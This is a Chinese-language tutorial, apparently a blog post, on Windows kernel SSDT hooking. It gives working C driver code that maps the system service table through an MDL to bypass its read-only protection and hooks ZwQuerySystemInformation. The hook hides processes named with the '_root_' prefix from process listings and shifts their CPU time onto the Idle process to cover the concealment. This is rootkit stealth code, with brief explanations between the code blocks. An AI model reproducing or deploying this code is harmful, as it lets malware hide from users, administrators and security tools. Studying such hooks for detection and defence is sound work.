#pragma pack(1) typedef struct ServiceDescriptorEntry { unsigned int *ServiceTableBase; unsigned int *ServiceCounterTableBase; unsigned int NumberOfServices; unsigned char *ParamTableBase; } ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t; #pragma pack()
若系统调用需要通过子系统,则调度的流程需要经过NTDLL.dll进入内核部分,而NTDLL.ddll则向EAX中加载所请求的系统服务标识符编号或系统函数索引,然后向EDX中加载用户模式中函数参数的地址,系统服务调度程序对参数数目进行验证之后,将参数从用户堆栈复制到内核中。然后根据索引以及上面所定义的SSDT调用内核中的相应函数。
SSDT第一个成员变量就是系统服务调用表的基地址,第二个成员变量是用于对记录每个函数调用的次数,第三个变量表明系统服务标的项目数,第四个标量用于记录系统调用函数当中参数的字节数。而开头的预定义处理,表明这个结构体是按照一个字节的对齐进行压缩的。
__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
接下来利特定的引入符号,引入外部定义的系统定义好的SSDT。
#define SYSTEMSERVICE(_function) KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]
由于上面的mov EAX,index指令刚好事五个自己,所以后面的index刚好在函数地址的下一个字节。这里从一个index得到SSDT相应的函数的地址。
#define HOOK_SYSCALL(_Function, _Hook, _Orig ) \
_Orig = (ZWQUERYSYSTEMINFORMATION) InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
#define UNHOOK_SYSCALL(_Function, _Hook, _Orig ) \
InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
利用InterLockExchange进行原子操作,这个函数用于将两个数值进行交换。由处理器保证不被中断。
OldZwQuerySystemInformation =(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation)); g_pmdlSystemCall = MmCreateMdl(NULL, KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4); if(!g_pmdlSystemCall) return STATUS_UNSUCCESSFUL; MmBuildMdlForNonPagedPool(g_pmdlSystemCall); g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA; MappedSystemCallTable = (PVOID *)MmMapLockedPages(g_pmdlSystemCall, KernelMode); HOOK_SYSCALL( ZwQuerySystemInformation, NewZwQuerySystemInformation, OldZwQuerySystemInformation );
首先利用定义好的宏得到函数地址,然后建立整个SSDT的内存描述表。内存描述表用于建立物理内存和虚拟内存之间的联系我们可以以通过它改变SSDT的只读属性,然后为MDL建立系统内存,并将其映射到系统调用表当中,最后利用我们的函数地址进行hook。
NTSTATUS NewZwQuerySystemInformation( IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength) { NTSTATUS ntStatus; ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) ( SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength ); if( NT_SUCCESS(ntStatus)) { if(SystemInformationClass == 5) { struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation; struct _SYSTEM_PROCESSES *prev = NULL; while(curr) { if (curr->ProcessName.Buffer != NULL) { if(0 == memcmp(curr->ProcessName.Buffer, L"_root_", 12)) { m_UserTime.QuadPart += curr->UserTime.QuadPart; m_KernelTime.QuadPart += curr->KernelTime.QuadPart; if(prev) { if(curr->NextEntryDelta) prev->NextEntryDelta += curr->NextEntryDelta; else prev->NextEntryDelta = 0; } else { if(curr->NextEntryDelta) { char* lptr=(char*)SystemInformation; lptr += curr->NextEntryDelta; SystemInformation=(PVOID)lptr; } else SystemInformation = NULL; } } } else { curr->UserTime.QuadPart += m_UserTime.QuadPart; curr->KernelTime.QuadPart += m_KernelTime.QuadPart; m_UserTime.QuadPart = m_KernelTime.QuadPart = 0; } prev = curr; if(curr->NextEntryDelta) { char* lptr=(char*)curr; lptr += curr->NextEntryDelta; curr=(struct _SYSTEM_PROCESSES*)lptr; } else curr = NULL; } } else if (SystemInformationClass == 8) // Query for SystemProcessorTimes { struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation; times->IdleTime.QuadPart += m_UserTime.QuadPart + m_KernelTime.QuadPart; } } return ntStatus; }
上面的函数实现总体思想是先调用原有的函数,对原来函数的返回结果进行查询,加入有我们感兴趣的东西就进行处理,否则就不予理会。
在对我们感兴趣的函数进行查询的部分是一个循环,首先看看是不是查询进程信息,如果是就需要将我们所不希望被别人看到的进程信息给隐藏起来。首先对进程的名字进行比对,如果包含特殊字符(这里是_root_),则将进程从系统列表当中去掉,并且保存进程在内核和用户态下面的使用时间,奖状这些时间全部放到IDLE进程,这个进程没有相应的映像文件,所以名字为空。
如果系统是查询进程的使用时间,则直接将相关系统的使用时间加到idle进程里面去